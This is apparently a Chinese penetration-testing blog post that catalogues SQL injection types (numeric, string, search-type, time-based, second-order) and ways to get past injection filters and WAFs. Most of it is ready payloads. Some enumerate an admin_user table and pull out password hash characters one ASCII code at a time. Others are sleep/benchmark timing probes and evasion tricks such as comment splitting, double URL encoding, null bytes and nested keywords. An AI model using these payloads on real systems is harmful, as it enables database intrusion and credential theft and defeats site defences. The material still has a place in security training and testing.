最新消息:

各类注入汇总及简单绕过思路

渗透测试 Eternal 13056浏览 0评论

数字型注入:
www.secist.com/news.asp?id=11
select * from news where id=11

www.secist.com/news.asp?id=11 and 1=1
select * from news where id=11 and 1=1

字符型注入:
www.secist.com/news.asp?id=你好
select * from news where id=’你好’
?
www.secist.com/news.asp?id=你好’ and 1=1’
select * from news where id=’你好’ and 1=1#
select * from news where id=’你好’ and 1=1′
搜索型注入:
例如:
2%’and 1=1 and ‘%’=’返回和单独输入2是一样的页面
2%’and 1=2 and ‘%’=’返回不同
2%’and(select count(*)from mssysaccessobjects)>0 and ‘%’=’ //返回正常。access数据库
2%’and(select count(*)from admin_user)>0 and ‘%’=’ //返回正常非常幸运,存在admin_user表
2%’and(select count(username)from admin_user)>0 and ‘%’=’ //返回正常,存在username字段
2%’and(select count(password)from admin_user)>0 and ‘%’=’ //返回正常,并且存在password字段
2%’and(select top 1 len(admin)from admin_user)>4 and ‘%’=’ //返回正常username长度大于4
2%’and(select top 1 len(username)from admin_user)=5 and ‘%’=’ //返回正常username长度等于5
2%’and(select count(*)from mssysaccessobjects)>0 and ‘%’=’ //返回正常。access数据库
2%’and(select count(*)from admin_user)>0 and ‘%’=’ //返回正常非常幸运,存在admin_user表
2%’and(select count(username)from admin_user)>0 and ‘%’=’ //返回正常,存在username字段
2%’and(select count(password)from admin_user)>0 and ‘%’=’ //返回正常,并且存在password字段
2%’and(select top 1 len(admin)from admin_user)>4 and ‘%’=’ //返回正常username长度大于4
2%’and(select top 1 len(username)from admin_user)=5 and ‘%’=’ //返回正常username长度等于5
?
2%’and(select top 1 len(password)from admin_user)=16 and ‘%’=’ //返回错误,看来密码不是16位md5加密的,或者没加密32位加密,或更高。
2010%’and(select top 1 len(password)from admin_user)=32 and ‘%’=’ //返回正常,看来应该是32位加密。
以下都是对应位置的ascii的编码,如果不是则返回错误。
2%’and(select top 1 asc(mid(password,1,1))from admin_user)=55 and ‘%’=’如果是
:2010%’and(select top 1 asc(mid(password,1,1))from admin_user)=48 and ‘%’=’,//则返回错误,因为password字段第一个字母
ascii编码不是48,而是55.所以返回结果不同。
?
2%’and(select top 1 asc(mid(password,2,1))from admin_user)=102 and ‘%’=’
2%’and(select top 1 asc(mid(password,3,1))from admin_user)=101 and ‘%’=’
2%’and(select top 1 asc(mid(password,4,1))from admin_user)=102 and ‘%’=’
2%’and(select top 1 asc(mid(password,5,1))from admin_user)=54 and ‘%’=’
延迟注入:
延时注入是通过页面返回的时间来判断的
不同的mysql数据库版本,延迟注入语句也不同
mysql >=5.0的可以使用sleep()进行查询
mysql<5.0的可以使用benchmark()进行查询
benchmark用法:
benchmark(n,sql语句) n为查询次数
通过查询次数增多时间变得缓慢来判断是否存在延迟
select benchmark(1000,select * from admin);
sleep()延迟注入用法
sleep可以强制产生一个固定的延迟。
sleep()延迟注入核心原理:
and if(true,sleep(5),0); ==IF(1=1, true, false);
id=1 and sleep(5)判断下是否存在延迟注入
and if(substring(user(),1,4)=’root’,sleep(5),1)判断当前用户
and if(MID(version(),1,1) LIKE 5, sleep(5), 1)
判断数据库版本信息是否为5
可以去猜解他的数据库名称
and if(ascii(substring(database(),1,4))>100,sleep(5),1)
二阶注入:
作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后
端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。
二阶SQL注入的攻击过程归纳如下:
1.攻击者在一个HTTP请求中提交恶意输入
2.用于将恶意输入保存在数据库中。
3.攻击者提交第二个HTTP请求。
4.为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句。
5.如果攻击实现,在第二个请求的响应中向攻击者返回结果。
绕过 waf 360等防注入软件:
1.大小写变种,使用起来最简单,效果现在来说不太显著。比如:and 1=2?? AnD 1=3? 。
2.使用注释,使用起来简单,效果一般。union select 1,2,3,4,5,5 from admin 注释后:

/**/union/**/select/**/1,2,3,4,5,5 from admin

/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4,5,5 from admin
第二种注释:
/*!and*/ 1=2 效果显著!
3.使用URL编码,正常编码:
‘为%27??? / =%2f??

*==%2a %=%25

/**/==%252f%252a*/

4.使用空字节,一些过滤器在处理输入时,如果碰到空字节就会停止处理。我们通常也会利用空字节进行绕过过滤器!如:

id=1 %00 and 1=2

5.利用嵌套剥离,有些过滤器会从用户的输入中进行剥离一些敏感的函数。那我们可以通过函数的嵌套进行绕过一次剥离!

selselectect? 剥离后 select
6.利用截断
一些过滤器他会截断一些输入的字符串,为了避免缓冲器溢出。比如:某个过滤器他会把单引号转换成两个单引号,最大输入只支持 10个字符,那么我们就可以输入9个字符加一个单引号。那么ok它如果把单引号换成双引号那么就是11个字符,所以他们自己把多出来的那一个单引号去掉。于是我们就可以绕过该过滤,此方法用于后台注入绕过。

7.避开自定义过滤器

一些过滤器他所过滤的字符串都是事先写入写好的,只要我们输入的的语法和他们过滤的不匹配即可绕过。
比如:and 转换为? a+nd?? a%nd?? ‘a’nd?? %A0and? 。
本文由 即刻安全 编辑整理,转载需注明来源!

转载请注明:即刻安全 » 各类注入汇总及简单绕过思路

您必须 登录 才能发表评论!



合作伙伴